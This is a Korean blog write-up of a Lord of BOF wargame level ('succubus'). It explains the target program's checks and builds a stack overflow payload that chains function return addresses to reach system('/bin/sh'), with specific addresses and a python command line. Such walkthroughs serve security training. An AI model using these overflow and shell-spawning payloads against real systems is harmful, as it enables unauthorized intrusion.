DO 함수에서부터 계속 함수를 불러서 check가 1, 2, 3, 4가 되고, 마지막에 최종적으로 check == 4일 때 MO 함수에서 system(cmd); 명령어를 수행하는 것이 최종 목표인 것 같다. System의 인자 cmd에 우리가 원하는 “/bin/sh”를 넣으면 될 것 같다.
그렇다면 main 함수에서의 모든 조건을 만족시킨 후, MO 함수의 위치를 찾아서, MO 함수 속의 system의 실행 시 주소를 알아내 ebp + 8 위치에 &“/bin/sh”를 넣으면 될 것 같다.
다만 그것이 main 함수의 조건에 위배되지 않을 경우이다.
★if(argc < 2) : 인수를 2개(실행파일 이름 포함) 이상 줘야 한다.
★if(strchr(argv[1], ‘\x40’)) : argv[1]의 처음 character가 ‘\x40’이 아니여야 한다.
★addr = (char*)&DO; : 포인터 변수 addr이 DO 함수를 가리킨다.
★if(memcmp(argv[1]+44, &addr, 4) != 0) : argv[1]+44부터 4byte에는 return address가 위치한다. 따라서 return address와 DO 함수의 주소를 비교했을 때 같아야 한다. 즉, return address는 DO 함수의 주소가 들어가야 한다.
★strcpy(buffer, argv[1]) : argv[1]을 buffer에 복사한다. strncpy 함수가 사용되지 않았으므로 ‘\0’을 만날 때까지 buffer에 복사된다.
★memset(buffer, 0, 44) : buffer의 44byte를 0으로 초기화한다. 근데 buffer의 크기는 40byte이기 때문에 buffer의 크기만큼 초기화되고 뒤의 4byte는 남아있을 것 같다. 다만, buffer는 활용할 수 없다.
★memset(buffer+48+100, 0, 0xbfffffff – (int)(buffer+48+100)) : return address(buffer+48) 뒤 100 byte 부분의 주소에서부터 0xbfffffff – int(buffer+48+100)의 크기만큼 0으로 초기화한다. 즉, 0xbfffffff에서 buffer+48+100까지를 다 0으로 초기화한다. buffer+48+100까지는 사용할 수 있고, 여기까지의 주소는 활용할 수 있다.
★memset(buffer-3000, 0, 3000-40) : buffer-3000부분의 주소부터 buffer 위?의 40byte를 제외하고는 초기화한다.
DO 함수의 주소를 ret에 넣는 것을 시작으로 &GYE, &GUL, &YUT, &MO의 주소를 차례로 주고, 마지막 MO 함수에서 system(cmd); 에서 system 함수의 인자로 “/bin/sh”를 주면 된다.
ret에 넣을 DO의 주소: 0x80487ec
Little endian => \xec\x87\x04\x08
GYE의 주소: 0x80487bc
Little endian => \xbc\x87\x04\x08
GUL의 주소: 0x804878c
Little endian => \x8c\x87\x04\x08
YUT의 주소: 0x804875c
Little endian => \x5c\x87\x04\x08
MO의 주소: 0x8048724
Little endian => \x24\x87\x04\x08
이때 system의 주소를 call할 때의 주소가 아님을 주의해야 한다.
MO 함수에 도착했을 때 스택 구조가 saved ebp+ret+argument 이렇게 될텐데, ebp+4인 ret에는 이제 넣을 것이 없으므로 dummy로 채우고, 인자에 &”/bin/sh”의 주소를 주면 된다.
실행 시 system의 주소를 구해보자.
System의 주소: 0x40058ae0
Little endian => \xe0\x8a\x05\x40
&”/bin/sh” : 0x400fbff9
Little endian => \xf9\xbf\x0f\x40
Payload
./succubus `python -c ‘print “A”*40+”B”*4+” \xec\x87\x04\x08”+” \xbc\x87\x04\x08”+“\x8c\x87\x04\x08”+” \x5c\x87\x04\x08”+” \x24\x87\x04\x08”+”\x90”*4+” \xf9\xbf\x0f\x40”’`
이렇게 쓰려고 했더니 system의 인자가 ‘\x40’이라서 문제가 생긴다. System 내의 “/bin/sh”의 주소를 사용해서 그런 것 같다.
따라서 이번에는 system 함수의 인자가 cmd 변수로 정해져 있으니, Cmd 주소를 찾아서 해당 주소에“/bin/sh”만 같이 주면 되는 것 같다.
“/bin/sh”가 들어가있는 주소를 찾았다. 이곳이 cmd의 주소이다.
성공했다.
“here to stay”
[LOB] level 20 소켓(socket) 생성 간단 정리 (0) | 2019.06.30 |
---|---|
[LOB] level 18: succubus -> nightmare (0) | 2019.06.28 |
[LOB] level 16: assasin -> zombie_assassin (0) | 2019.06.26 |
[LOB] level 15: giant -> assassin (0) | 2019.06.26 |
[LOB] level 14: bugbear -> giant (0) | 2019.05.15 |